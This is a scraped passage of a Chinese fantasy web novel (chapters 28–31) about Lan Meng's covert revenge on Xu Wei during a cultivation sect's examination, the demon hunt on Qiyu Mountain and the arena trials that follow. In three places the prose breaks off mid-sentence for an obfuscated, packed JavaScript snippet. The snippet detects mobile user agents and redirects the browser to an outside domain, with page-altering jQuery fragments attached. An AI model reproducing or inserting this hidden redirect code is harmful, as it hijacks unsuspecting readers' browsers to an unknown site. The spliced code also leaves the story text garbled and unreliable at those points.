柳逸直无奈地看着侧对着他伸出手的闫扶音,走过去将帷帽扣在了她的头顶。 鲛云纱制成的帷帽……她果然是因为“燧明之书”受了伤吧。 恢复记忆之后他便去藏典阁查过了,“燧明之书”被称为“全知全能之书”,据说可以得到任何想要的答案,而窥探未知必会付出代价,那就是无法治愈的眼伤,除非能做到“燧明之书”指示的事情,否则药石无医。就好比你问书怎么在一夜之间赚到一万金,书说你去入赘张三家即可达成心愿,那你就必须去做张三家的上门女婿,得到这一万金,你受到的眼伤才能痊愈。相应地,如果你入赘李四家,就不符合“燧明之书”的指示,眼伤将伴随终生。 柳逸直不知道她所执着的到底是什么事情,不惜用双眼为代价也要窥探未知,单凭这一点,他就能确定她绝对不是泛泛之辈,隐瞒身份进入山到源必定是有所图,因此才觉得应该格外关注她。 戴上了鲛云纱帷帽,岚孟才感觉双眼的刺痛有所缓解,她站在原地缓了一会,才朝柳逸直谢道:“多谢柳师兄。” 柳逸直摆摆手:“客气。” 岚孟看向四周,发现这是一处清幽静谧的树林,松涛林海,一眼望不到头。她走到最大的一棵树前,抬手敲了敲布满青苔的树干,问道:“这是什么地方?” 柳逸直诧异地看她,只见她像是得到了回答一般,轻轻点了点头,扭头朝他道:“它说这里是祈雨山。” 还能这样?柳逸直挑了挑眉。 祈雨山位于山到源以东三千里以外,是一座坐落于平原之上的孤山,此山高耸入云,地势险峻,灵气稀薄,几乎无人踏足。 这时,秦谬的声音不知从何处响起:“各位稽查,各位考生,源主有令,擒拿所有入魔之人,朝圣道魔修,能活捉则活捉,否则直接击杀,务必一网无遗。” 柳逸直抬头往天上看去,只见天空上覆盖了一层流转似水波的屏障,将整个祈雨山都罩了起来。看来源主的意思是要让他们瓮中捉鳖,在外面就把麻烦解决掉,别带回宗门里了。 不过令他费解的一点是,既然已经提前得知了朝圣道入侵的消息,为何不先找出朝圣道教徒,反而要等他们有所行动,致使部分弟子被魔气侵蚀,并且破坏了试炼空间之后才将所有人传送到这里呢? 算了算了,山主们自有打算,他操哪门子的心?不想了。 他看到闫扶音提步就走,于是追上去问道:“师妹要去哪?” 岚孟脚步未停,只扭头看他:“我去找我的同门。” 她当然是去找许渭。 “同门?”柳逸直皱眉重复,她竟然是门派弟子?总不会是四派之一吧,莫非真是他误会她了? “倒是忘了问师妹师出何门何派了。”柳逸直笑道。 “师兄客气了,家师乃奚玄门岳孤明。” 奚玄门啊……柳逸直道:“你要找的人莫非是何与飞?” 岚孟神色微动,奚玄门就何与飞一个人,她总不能否认。 “反正朝圣道的魔修就在这山中,走哪个方向都可能遇到人,我便和你一道走吧,也好有个照应。” 岚孟:“……” 他就是非得跟着她是吧?她还是太大意了,那日不该心急派象耳竺麻雀查探情况,不然也不会被人抓住把柄。 柳逸直心情大好,前面的姑娘停下他也停下,她加快脚步,他也加快脚步,两人走了一会,才遇到了相互搀扶着的一男一女,其中男子一瘸一拐,身上有许多血迹。 那姑娘看到两人,特别是腰间悬挂着山水令的柳逸直,眼睛顿时就亮了,“稽查师兄,他受伤了!” 柳逸直眉目沉静,问道:“你们二人认识吗?” 姑娘摇了摇头道:“我们被传送到同一个地方了,师兄,你快救救他,他的腿折了。” 柳逸直快步走过去,伸手去搀扶那男子,“我来吧。” 姑娘不疑有他,撤去了支撑男子的力道,然而她刚放开手,一阵强风就将她吹了出去,即将撞到树上时,有人伸手在她背后扶了她一把。 姑娘扭头看去,只见是一个戴着黑纱帷帽的姑娘,她连连道谢。 岚孟点了点头,问道:“你没看出来他是魔修吗?” “哎???”姑娘大惊失色,她语无伦次道:“啊?我,他?我不知道啊!” 柳逸直和那男子已经打了起来,此人也有知行大圆满修为,柳逸直费了些功夫才击碎了他的魔核,待男子化作黑雾消散以后,他才朝被他震飞出去的姑娘看去,只见那姑娘瘫坐在地上,捂着手背在嚎啕大哭,脚边还放着一朵绯色的花。 柳逸直:?发生了什么? 姑娘哭道:“她,她说要教我分辨朝圣道教徒,就,就划了我的手呜呜呜……” 柳逸直满脸黑线,“是谁?” “一个帷帽混蛋唔哇哇哇——” 柳逸直:“……”她还真是会给自己找麻烦啊。 通过查看伤口里流出来的是鲜血还是魔气,就能判断是普通人还是朝圣道教徒的分身,若是考生入魔的话,魔气也会在血液里有所体现,这确实不失为一个简单又迅速的方法。 柳逸直拿起那朵绯色花看了看,是可以祛疤的灵药。他嘴角微抽,该怎么说呢,说她热心肠吧,她不由分说把人家手划了;说她没良心吧,她又还给人家姑娘留下可以去疤的灵药。 真是越来越看不懂这个人了。 他叮嘱了那姑娘几句,然后便抽身离开了。 闫扶音早已溜之大吉,就让她跑吧,反正她的目的是进入山到源,跑得了和尚跑不了庙,再不济他也能去奚玄门打探消息。 正北方有一大群飞鸟被惊起,他立即掉转方向朝那处赶去。 在他离开后,岚孟才从树上跳了下来。她略微勾了勾唇,往相反方向跑去。 分别时,她在何与飞身上放了一朵蔷薇花,若有危险,蔷薇花可以抵挡一定攻击,足够撑到她赶来了。现在当务之急是找到许渭,方才太过匆忙,她没法确定是否已经将血涂到他身上,为了万无一失,她得亲自去确认一下才行。 祈雨山虽然只是一座独山,可这山却并不小,或许是许渭和她距离过远,岚孟一直没能嗅到自己血的气味。期间也遇到了不少考生,她故技重施,割开他们的手背,若是普通人就丢下去疤的花,若是魔就费点力气捏碎魔核。 她遇到了不到二十个人,但是就有七八个是被种下了魔种的。简单来说,魔种就是能让人入魔的东西,究竟是什么东西只有朝圣道高层知道,底下人也都是听命行事,没人能从教徒口中撬出来关于魔种的消息。岚孟只知道,身怀魔种之人的血会呈现不正常的暗紫色,同时有魔气的流转。 看来朝圣道除了要摧毁试炼空间,还做了两手准备,给大部分考生种下了魔种,这样就算摧毁空间的计划失败了,考生们不死也会脱一层皮。 然而还不等她找到许渭的踪迹,她就感应到蔷薇花被激发了。 真是会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929624|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给人拖后腿,岚孟暗道。 她马不停蹄朝何与飞所在位置赶去。 何与飞好巧不巧就和达文泰那厮被传送到一处了,还遇到了一个朝圣道教徒,迫于形势,两人联手解决了教徒,达文泰却忽然入魔了。 何与飞并不清楚达文泰已经被种下了魔种。他们打着打着,达文泰忽然开始发狂,眼睛变得血红,丝丝缕缕的黑气从土中冒出来涌进了他的身体。 他像是疯了,嘴里念叨着“凭什么”“我不甘心”之类的话,不分敌我地挥剑攻击,何与飞一边得防着教徒的袭击,一边还得留神达文泰,打得十分吃力。 就在教徒寻到机会,对着他的后背挥刀砍下的时候,达文泰也冲到他面前用剑指着他。 何与飞下意识闭上眼睛,心想,完了,要死在这了,等不到师姐出关了。 然而预料中的斩击没有落下,他睁开眼睛,发现有无数白色蔷薇花围绕在他周身,像是屏障一般帮他抵挡住了前后夹击。这蔷薇花屏障也没能支撑多久,在屏障碎裂的那一瞬间,何与飞握紧了刀柄,旋身朝那教徒狠狠砍下。 这一刀如有万钧之势,直接将教徒击飞出好几丈远,从肩膀到前胸裂开了个大口子。这一刀同何与飞以前的刀路完全不同,这是抱川刀第一式——摧山崩! 抱川刀大开大合,起势收势不似无名刀法一般迅速诡谲,何与飞确实火候不到家,没有足够的时间酝酿,他没法瞬间使出抱川刀,所以才一直只用无名刀法。 他挥出抱川刀第一式的时候就已经做好了被身后达文泰击中的心理准备,然而剑风抵达他的那一瞬间,一个黑影忽然迎面朝他飞来,一脚踹飞了达文泰。 “嘭——” 达文泰撞断了两棵小树才停了下来,猛地吐出一口血来,巨大的疼痛似乎唤醒了他的神智,他眼中清明了一瞬间,随即又被猩红取代了。 岚孟背对着何与飞,抽出了腰间商刀,沉声道:“姓达的我来对付,你去把朝圣道那人心脏里的魔核弄碎。” “不用你说我也知道!”何与飞提刀冲向了过去。 虽然岚孟很想直接杀了达文泰算了,人死了魔气会回归地底,魔种也会自己消失,可不行啊!要考丹灵卫的人怎么能视人命为草芥,要是杀了人就会被取消资格踢出局了,更何况达文泰还有救,她要是杀了他说不定还会受到揽月剑派的报复。 所以麻烦倒是麻烦了点,她还是寻着机会打晕了达文泰,卸掉了他的武器,将他捆成蚕蛹一般,只露出一个头,然后将人吊在了树干上。 何与飞解决了魔修回来了,岚孟看着他手里有着二十八个面的黑色晶体,嘴角止不住地抽搐。 “你怎么直接挖出来了?”难以想象他是怎么把魔核从人心脏里挖出来的。 何与飞也一头雾水,“我是想要用刀捣碎魔核啊,不知怎的这东西就直接飞出来了。” 见状,岚孟从芥子袋里找出一个木盒扔给他,“你收起来,等一切事情结束以后交给山到源。” 何与飞听话地将魔核收了起来。他算是发现了,难怪师傅会同意这女人以奚玄门的名义参加丹灵卫考核。 不同于修行界对朝圣道讳莫如深的态度,因为有前车之鉴,岳孤明专门教导过他们,对上朝圣道教徒时该如何行事,所以他才了解魔核的事情,而闫扶音没有在奚玄门里修行过一天,便有如此丰富的经验和手段,显然是见过大风大浪了。 虽然此人来历不明,但她要是能被选上,那面上有光的可是他们奚玄门啊!说不定下次丹灵卫考核,奚玄门就能拿到更多祈金珠了! 何与飞自以为已经猜透了岳孤明的小心思,并且为之沾沾自喜。 岚孟并不清楚何与飞在高兴些什么,她给何与飞指路一个方向以后,便往相反方向赶去了。 她已然察觉到了许渭之所在。 29. 霞云现 一座飞舟悬停在祈雨山上空,船头站着一个仙风道骨的山羊胡子老头,他身旁是个腰间缠鞭的红衣女子,两人一同望着下方的青山。 山中情形一览无余。虽然朝圣道教徒在不少考生身上种下了魔种,但目前尚无人死亡,巽崖也调了一批丹灵卫前来支援,现在除了几个修为在闻道、破妄的人,其余教徒都已经被消灭了个七七八八。 “夏小友,你有什么看法?”梁齐安捋着胡子问道。 夏澜熹答道:“破妄境强者,对方有三人,我方两人,数量上稍占劣势,但我方的闻道境修士不在少数,朝圣道逆贼不足为惧。” 她踌躇片刻,还是问道:“不知玉山主所说的变数究竟是什么?” 因为是禅宗弟子抓获贺舟晏,得到了朝圣道入侵的消息,所以夏澜熹破格参加了山到源山主议事。本来左愁双已经同意了推迟溯回试炼、先排查考生身份的决定,可几乎不参加议事的崤山山主玉成汝忽然来了,一票否决了这一决定,声称将有未知变数降临,或将影响九州未来的局势。山主们再三商议,觉得不能错过这一变数,于是溯回试炼便按计划推行了。 虽然有众稽查的及时控制,事态并没有按朝圣道的计划发展,可三天过去,那未知的变数却毫无发生的迹象。 梁齐安摸着下巴,亦是一脸纳闷,“此事老夫也不知啊!先生一向是那种神神叨叨的性子,说话喜欢打哑谜,我都怀疑他以前是不是和太乙门那些神算子一起混过江湖了。” 夏澜熹讪讪地笑,她算是发现了,梁齐安说话直爽,编排起德高望重的前辈来也头头是道,一点也不带怵的。 祈雨山顶,朝圣道余孽和丹灵卫强者都聚集了起来,剑气纵横,刀光如练,整座山都在震动,轰隆隆的响声直达云霄,低阶丹灵卫们护着考生往山下逃去,唯恐被殃及池鱼。 夏澜熹眼尖地发现有个人正逆着人流往山上跑,她定睛去看,那人的身影却忽然消失了。 莫非是她看错了? - 岚孟敛去声息,让自己完全融入了祈雨山的草木之中,保险起见,她还往身上贴了十几张隐息符。很快,她便来到了山顶,躲在一棵枝繁叶茂的树上,远远地观望着激烈的混战。 不得不说许渭确实有两把刷子。他出身于揽月剑派,在剑宗的时候便是同龄人中的佼佼者。进入山到源以后又被寄予厚望,不过百余岁,便已经是赤令令尹,修为也臻于破妄,前途不可限量,将来就算不能成为山主,也会是响当当的大人物。 只可惜他动了不该有的歪心思,做了不该做的事,惹了不该惹的人。 自从亲手剜下尧玦的妖丹吞入腹中那一刻开始,岚孟就知道,她不可能会像尧玦所期待的那样,做一个光明磊落的淑人君子,她只会是睚眦必报,以眼还眼、以牙还牙的卑鄙小人。 如今妖丹在她体内,她因此能够使出部分尧玦的术法,比如记忆封禁术,比如调用暾云炬神力,所以她才会封禁柳逸直等人的记忆,不让山到源察觉她能调取神力,继而推断出她就是跟在尧玦身边的山雀岚孟。 如果她没有料错的话,是因为妖丹还在的缘故,让暾云炬误以为尧玦还活着,所以暾云炬才没有选出新的执掌者。因此她才将自己的血和重明尾羽混在一起,涂在了许渭的手背上,如果顺利的话,血的气味将会引起暾云炬异动,让它误以为许渭就是尧玦。 岚孟往天上一看,只见万里无云的蓝天乍然出现了几道闪光,她立即往山下撤退。 她刚逃出峰顶,晴空便炸响一声惊雷,天地都暗了一瞬间,祈雨山峰顶被劈成了一片焦土。这一道惊雷来源于许渭之外的另一个破妄境后期修士,坤仪堂令尹陈莫疑,这一击直接劈死了好几个实力不如她的朝圣道教徒,只剩下最后一人还在负隅顽抗——昌明昌舵主,也就是此前和许渭对战之人,他乃是破妄境大圆满修为。 现如今峰顶只余许渭、陈莫疑和昌明三人。只见昌明周身都冒出了浓郁的黑色魔气,仿佛可以吞噬一切,许渭和陈莫疑身上都浮起了三道淡黄色光圈。 暗黑魔气呼啸着朝二人袭来,途经的山石、焦木眨眼间便成了齑粉。两人连忙支起灵力罩,而那魔气要比他们想象中厉害得多,呼吸之间便在灵力罩上腐蚀出了几个破洞。 陈莫疑那一击惊雷消耗了她大半灵力,她败下阵来,被魔气撞飞了二里地,她“噗”地一声吐出一口黑血,身上三道暾云炬赐福已然被魔气吞没了,她的眼中顿时出现了几丝猩红。陈莫疑立即就地打坐运功,心中默念着太上玄都妙本静心诀,用所剩不多的灵力运转全身经脉,以抵御魔气对道心的侵蚀。 许渭也好不到哪里去,在试炼空间的时候,他就被昌明打伤了,后来战斗一刻不停,他根本没有时间疗伤。昌明的魔气幻化成两条巨蛇向他袭来,暾云炬赐福越发黯淡,几乎要消散了,峰顶被夷为平地,许渭根本没有躲藏之处,只能举剑朝魔蛇挥砍。 偏偏在这个时候,他的右手手背忽然一阵灼烧,疼得他几乎握不住剑。他才反应过来传送开启时手背的黏腻触感并不是他的错觉,那个女人到底对他做了什么? 暾云炬神力完全消失了,魔气侵入他的经脉,让他时而感觉阴冷刺骨,时而感觉灼热难耐。气血翻涌,头脑发胀,许渭感觉眼前一阵一阵发黑,在那条魔蛇张着血盆大口朝他咬来时,剑猝不及防从他手中脱离,魔蛇狠狠咬在了他的肩头。 许渭一把扯开了魔蛇,将其甩到了另一条扑向他的蛇身上,同时五指曲张,朝魔蛇送出一团夹杂着烈火的灵气。 “嘭——” 魔蛇与灵气相撞,巨大的爆炸声响彻天际,爆炸的余威波及到了悬停在空中的飞舟,梁齐安抬了抬手,飞舟便恢复了平稳。 他看着下方犹在对峙的许渭和昌明,摸着下巴思索道:“这小子能行吗,会不会挂掉啊……要不老夫去搭把手?” 身边传来几声惊呼,一个丹灵卫指着斜上方的天空问道:“山主,那是什么?” 梁齐安顺着他的手指看去,只见那里凭空出现了一团霞云,缤纷的色彩如水波般流转,几条似梦似幻的龙在云彩里翻腾。 他猛地拍在船舷护栏上,整个飞舟都晃了晃,他瞪大了眼睛,紧紧盯着那几条小龙,大着舌头结巴道:“暾,暾,暾云炬?!” 只见几条小龙完全从云霞中钻了出来,相互缠绕着俯冲而下,径直落在了许渭的身上! 闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929625|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着金光的灵波浩浩荡荡自许渭身上涌了出来,昌明发出了一声惨叫,身子逐渐变得透明,他心口处的二十八面魔核裂开了一条缝,“咔咔咔——”魔核碎成了几千块,不一会儿就化作齑粉消散在空中了。 金光化作了无数头小鹿,蹦蹦跳跳往山下跑去,穿过每一个被种了魔种或被魔气侵蚀之人的身体。他们只感觉耳边忽然响起了撕心裂肺的尖叫声,身体里好像有什么东西消失了,有血气涌上喉头,他们纷纷吐出一口黑血来,而吐完血以后身体变得轻飘飘的,像是泡在了灵气浓郁的泉水之中一般。 金光小鹿完成了使命,踏着风往天上跑,迈着轻快的步伐回到了霞云之中。 梁齐安看着晕倒在地上不省人事的许渭,抬起袖子擦了擦额头根本不存在的汗,惹不住埋怨道:“不就是掌炬现世了么,这有啥不能说的,还未知的变数?呵,先生果真是和神算子混过吧……” 夏澜熹看着天上的七彩霞云,心道这就是暾云炬引来的么?这声势可比梵音铃浩大多了…… – 岚孟目送金光小鹿尽数回归,霞云慢慢变淡,最后化作虚无消失了,她才从藏身的乱石中走了出来,深深超霞云消失的方向鞠躬行了一礼。 手起刀落,她的右小腿上便多了个大口子,汩汩流着血,看似血腥可怖,其实只是皮外伤,并未伤及筋骨。她边一瘸一拐往山下走,边一张一张撕掉了身上的隐息符。 – 祈雨山某处。 鸣珂被滚落的山石压住了腿,这会终于被一个蓝衣小哥劈开山石救了出来。 言如期立马蹲下查看她被压的腿,这里捏捏那里掐掐,确定没事才松了口气,道:“没断没断,只是被压肿了,包几天药就好了。” 他这才看向她的脸,认出来了:“唉,你是那天那个……” 抢绣球那天,误伤了他的姑娘。 鸣珂怔怔地看着言如期,直到把言如期看得脸颊染上绯红,然后才凑近他深深吸了一口气,眨巴着眼睛道:“你身上好香。” 言如期先是一怔,紧接着脸颊爆红,一个不稳他便往后跌坐在了地上。 他结巴道:“我我我,你,你,你没事的话,我就先走了。” 他手撑着地就想站起来,却被鸣珂一把抓住了手腕,她道:“等等,你们人族不是说帮人帮到底、送佛送到西吗?我伤了腿,你得背着我走!” 言如期瞪大了眼睛:“唉???” 鸣珂握拳抵在唇边作咳嗽状,虚弱道:“你也不忍心让我一个两百来岁的老太太瘸着腿走回去吧?咳咳咳,我的腿好疼啊……” 言如期:“唉?!!” – 山到源,乾霄阁。 左愁双面朝东方负手而立,面容平静,波澜不惊,让人瞧不出他是喜是忧。 他扭头看向西南边那座最高的一座山。 崤山。 峰顶,小雪初歇,而玉成汝的肩头却已经落了一层薄雪,他同样注视着东方,注视着那个引起霞云后便不省人事的男子。 他抬头看了看矗立于山巅的暾云炬,它已经恢复了沉静,仿佛从来没有苏醒过。 他无端皱了皱眉。 30. 磨刀时 岚孟走了小半个时辰才走到了山脚,喧闹的声音传入耳中,远处树木掩映间人头攒动,她扶了扶帷帽,一瘸一拐走了过去。 “扶音!” 身后忽然传来娄雪沁的声音,她扭头看去,便见娄雪沁一脸焦急地跑了过来,她身边还跟着一个年轻男子,是被她封禁了记忆的另一个人,好像叫翟子续。 “你没事吧?我到处都找不到你。”娄雪沁急得几乎要哭了。 岚孟摇摇头道:“没什么大事,就是腿受伤了,所以走得慢了些。” 娄雪沁这才看见她右腿上血淋淋的伤口,登时吓了一跳,挽住她的胳膊支撑着她,急道:“流了那么多血还说没事!我带你去找路央师姐,她医术很好的,清瑶宫的其他师兄师姐也都来了。” 见她这般担心自己,岚孟心中升起了一丝愧疚。早知如此,她应该编个其他理由的来着。 翟子续安安静静跟在两人身后。由于他蓝紫不分,害娄雪沁和他们分散了,经历了一干危险恐怖的事情,所以他被娄雪沁按着头打了一顿,还得给她做一个月的跟班。 翟子续摸了摸后脑勺上鼓起的包,幽幽叹了口气。 他怎么就那么瞎呢? 山脚下宽阔的草地上到处都是人,受了伤的坐在地上等待医治,没受伤的三三两两聚在一起谈天说地,说着溯回试炼里遇到的变故,说着方才震惊四野的霞云异象。 路央仔细检查了一下岚孟的腿,确定没伤到筋骨以后就放下药和纱布让她们自己包扎了。伤员很多,她根本忙不过来,马不停蹄去照看其他人了。 娄雪沁给岚孟洒了药粉,用纱布缠了一圈又一圈,成功将岚孟的腿包成了粽子,她抬手揩了揩额头的汗珠,猛地舒了口气,感叹道:“医修干的都是精细活啊。” 又有伤员被送到了这里,娄雪沁扶着岚孟站了起来给他们挪地方。 没走两步路,岚孟便听到了一个熟悉的声音。 “原来你们在这啊。” 她扭头看去,只见柳逸直大步走了过来,娄雪沁笑着喊道:“柳师兄!” 柳逸直点了点头,“第一艘飞舟已经准备就绪了,翟子续帮你们俩占了位置,让我告诉你们一声。” 娄雪沁哼了一声,“这是他应该的。师兄,你现在走吗?” 柳逸直道:“你们先走,我还得收拾残局。” 当两人从他身畔走过时,柳逸直伸出两指搭在了闫扶音的胳膊上,向她传音:许令尹还在昏迷。 帷帽之下,岚孟勾了勾唇,回道:是吗?那可真是遗憾,我还以为能见识一番新任掌炬的英姿呢。 柳逸直皱眉目送两人逐渐远去。 这家伙……莫非是他猜错了,许渭的事和她没关系? - 飞舟上。鸣珂正靠在窗边小榻上吃葡萄,门“吱嘎”一声开了,她看到闫扶音被娄雪沁搀扶着走了进来,小腿裹成了蚕茧,惊得她把葡萄籽全吞进了肚里。 “你怎么也伤了腿?” 娄雪沁将岚孟扶到了鸣珂旁边,两人一个伤了左腿,一个伤了右腿,难兄难弟,实在滑稽。 岚孟将帷帽取了下来放在一旁,抬手捋了捋凌乱的发丝,笑道:“被人偷袭了,没躲过去。” 鸣珂狐疑地看了她一眼,后者唇边含笑,心情似乎很好。 不过一个时辰,飞舟便抵达了山到源,停在了泉升门前的空地上。 娄雪沁推开房门看了一眼,看向屋中只剩两条好腿的两个人,道:“你们等一下,我去叫人来帮忙。” 鸣珂连忙摆了摆手:“你管好扶音就行,我自有人照顾。” 娄雪沁:“哈?谁啊?” 就在这时,一个蓝衣男子径直走了过来,朝站在门口的娄雪沁抱拳拱了拱手:“在下留命堂言如期,打扰了。” 鸣珂开心地朝他伸出手,“快来!” 在娄雪沁震惊的目光下,言如期直愣愣走进了屋中,仿佛才看见屋子里还有其他人一般,他看着岚孟怔了一下,脸上缓缓浮起了一丝薄红,然后猛地别开了眼睛,背对鸣珂蹲下身,将她稳稳背了起来,步伐稳健地走了出去。 刚来到甲板上,言如期就遇到了同门师兄,对方诧异地望着他背后的鸣珂,问道:“言师弟,你这是?” 言如期:“尊,尊老爱幼罢了!师兄我先走了!” 他背着鸣珂“噔噔噔”冲了下去。 师兄望着他落荒而逃的背影,不明所以地挠了挠头。 等岚孟一瘸一拐走到门口时,娄雪沁还没有从震惊中恢复过来,她喃喃道:“我也就和她分开了几个时辰啊,发生了什么……” 岚孟歪头想了想,道:“不若你和她取一下经?袁涯邻不是说你的姻缘就在身边吗?” 娄雪沁脸色爆红:“你你你,你听到了啊!” 这时,翟子续抱着剑走了过来,问道:“听到什么了?你们杵在这干嘛?” 他看了看满脸通红的娄雪沁,和倚在门边似在偷笑的闫扶音,满脸问号:“莫非是在看夕阳?” “看个屁的夕阳!”娄雪沁怒气冲冲踩了他一脚,架起岚孟的胳膊就走。 翟子续疼得单腿在走廊里蹦了起来,委屈道:“我说错什么了我……” 溯回试炼提前终止,所有考生都转移到了南园。 第二天,鸣珂耐不住寂寞,来到岚孟房间和她闲聊。 门外传来急促的脚步声,娄雪沁一把推开房门,带来了擂台比试的消息。 “我们手里的玉牌是会记录言行的,根据这三天的表现,稽查们会给每一个考生打分,分数最高的一百人守擂,其余人攻擂,到时候会在焱堂演武场开设一百个擂台,一炷香时间内分出胜负,否则守擂者胜。九月十三辰时开始比试,持续六个时辰,酉时正还站在擂台上的人就是预备丹灵卫的人选了。” 娄雪沁说完这一大段话以后才端起茶壶“吨吨吨”灌了一大口水,干得冒烟的嗓子终于得到了水的滋润,她劫后余生道:“终于得救了。” 鸣珂翘着二郎腿斜靠在躺椅伤,边啃着梨子边道:“九月十三?那不就三天后吗?挑战谁都可以吗?要是专门挑修为比自己低的人去挑战,那先选出守擂者的意义何在?” 娄雪沁不知从何处掏出来一张告示铺在了桌子上,一目十行地看着,眼睛一亮:“有了!” 她指着一行字道:“你看,这里说只能挑战修为和自己同阶或比自己高的人,若是连胜一百场,便可直接晋级。” 鸣珂继续吃梨:“这还差不多,不然一个知行境去挑战元处境,用脚指头都想得出来谁输谁赢。” 娄雪沁掰起手指头算了算:“我们这一届考生,刨去被淘汰的和入侵的朝圣道教徒,还剩下不到四百人。修为在知行境及以上的约摸有三十人,其余人大多数是元处境,这就意味着一个人可能会对上百十来个对手。” 她恍然大悟:“难怪有‘连胜百人可直接晋级’这条规则。” 鸣珂:“只要站在台上就一直会有对手,那我等到最后一刻才去攻擂呢?先观察他们的招式和路数,等到最后一刻再一举击之!” “虽然也是个办法,但是有很大风险,要是没能得手就糟了。” 娄雪沁沮丧地趴在了桌子上,哀嚎道:“怎么这么难啊,还不如溯回试炼呢……” 她忽然想到了什么,问道:“闫扶音呢?这不是她的房间吗?怎么就你在?” 鸣珂继续吃梨,朝她脑后努了努嘴:“在那呢。” 娄雪沁把头转向另一边,窗边阳光下,闫扶音专心致志地磨刀,完全没被外界打扰。 她感叹道:“扶音是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那就是得多尝试呗?我知道了。”娄雪沁打算回去就告诉翟子续,让他多尝试几种不同的磨剑方法。 “话说,好像没有见过你用那把剑啊?”鸣珂看向岚孟放在枕边的参剑,朴素无华的短剑默默无闻,毫无存在感。 岚孟的眸光闪了闪,轻轻笑了笑:“只是因为我用商刀比较顺手罢了。” “那你不用磨剑吗?”娄雪沁好奇问道。 岚孟道:“参剑不用磨。” 山到源将擂台比试定在三日后,一则是得让受伤的考生们养伤,二来是稽查核定分数需要时间。守擂者的名单也会在比试开始前才公布,就是免得他们被心思不正之人找茬,以防被下泻药、被暗中围攻、威逼利诱之类的事情发生。 鸣珂的腿伤比岚孟严重得多,这三天她几乎一直窝在院子里不曾出门,但是她一点也不寂寞——因为言如期会时不时带着吃食探望她。 也不知他有什么把柄落在了鸣珂手里,一天两次,雷打不动地来送饭,每次来都会被同院的两个留命堂姑娘打趣,到了第二天晚上,他甚至没进门,把食盒放到院墙上便逃走了。 鸣珂的脸皮厚如城墙,更何况她本来也有那种不太纯洁的心思。 为了应对擂台比试,娄雪沁也不常来找她们了,自己修炼不算,还拉着翟子续对打,惹得翟子续苦不堪言。 岚孟的腿第一天晚上就好全了,她有心去山到源其他地方查探,可是丹灵卫昼夜不分地守着落霞坞,她不想多生事端,磨刀之余便老老实实只在落霞坞境内溜达。 令她摸不着头脑的是,有不少考生一见到她就会惊恐地跑开,仿佛见到了什么洪水猛兽一般。反正对她没什么妨碍,再遇到他们时,她也装作不知道,就这么我行我素过了两天。 直到第二日傍晚,她才从袁涯邻口中得知了原因。 “帷帽混蛋哈哈哈哈——”鸣珂笑得直捶桌,“一见面就用刀割他们的手看血,不由分说就将人绑起来吊在树上,难怪他们会怕你哈哈哈——” 岚孟无奈扶额:“别笑了。” “哈哈哈!” “我说别笑了!” 31. 破郁春 落霞江南岸有一片竹林,平时少有人来,入夜以后,岚孟便会来到这竹林深处磨刀。 这夜,她踏着明月清辉走进竹林时,那里已经有人在了。 “你来找我?”岚孟问道。 楚乐目光阴郁,眉宇间满是不耐烦,“不然你以为我来赏月吗,我吃饱了撑的?许渭现在还在昏迷,你的下一步计划呢?” 岚孟早有预料,她勾了勾唇,语气冰冷:“哼,孬种,那么几道神力也承受不住。” “少废话!”楚乐双手环胸,两眼紧紧盯着岚孟,“他不会就这么睡死了吧?” 落霞江有一条细小分支从竹林中淌过,岚孟在水边坐下,取出磨刀石有条不紊地磨刀。 竹林中响起了节奏分明的磨刀声,刮过楚乐的耳膜,让她心痒难耐。 “放心吧,不出三日他就会醒了,届时肯定会举行掌炬授礼仪式,我们什么都不用做,等着看好戏就可以了。”岚孟沉稳道。 “真的假的?”楚乐狐疑道,“不用去指认他?我手里倒是有些证据,但是只能证明他和朝圣道有联系,勾结都算不上,更别说证明他埋伏过尧玦了。” 岚孟手下动作未停,“你莫不是忘记了,失德之人可当不了掌炬。” 楚乐一怔,继而想到了什么,勾唇会心一笑,“原来你打的是这个主意。” “对了,当时除了你我,可还有个柳逸直呢,你打算如何?” 考生和稽查的玉牌都会录下留影,在评定考生分数时,楚乐偷偷去看过了,当时玉牌受到了灵力震荡的影响,空间崩塌前几息时间内发生的事情并没有被记录,所以说岚孟碰过许渭的事情仅他们几个在场之人知晓。 岚孟磨刀的身体稍微顿了一下,虽然很快便恢复了,但一直盯着她看的楚乐还是捕捉到了这一丝停顿。 “不必担心,他不会说的。” 他可是等着亲自揪出她的狐狸尾巴呢,怎么会先把她踢出局?否则那日就不会告诉她许渭昏迷的消息了。 楚乐挑了挑眉,也没有追问她原因,点头道:“你心里有数就好,我估摸着明日便会召我们过去问话了。” 她灵光乍现,一拍手掌道:“我想起来了,柳逸直上个月忽然拿了一叠记录条来找我兑换功勋,最早的一条还是两年前的,一直压着没上报,据说是被梁山主揪出来了,这不,刚升到卫尉就担任稽查了。” “我还听说他和两个焱堂的弟子遇到了入魔的邪修,莫名其妙少了一段记忆,所以那案子只能草草了结了。” 楚乐俯视着专心致志磨刀的岚孟,面露审视,“你知道这事吗?” 岚孟:“……你话好多,打扰到我磨刀了,没事就赶紧滚。” 在坦白和说谎之间,岚孟选择了逃避。 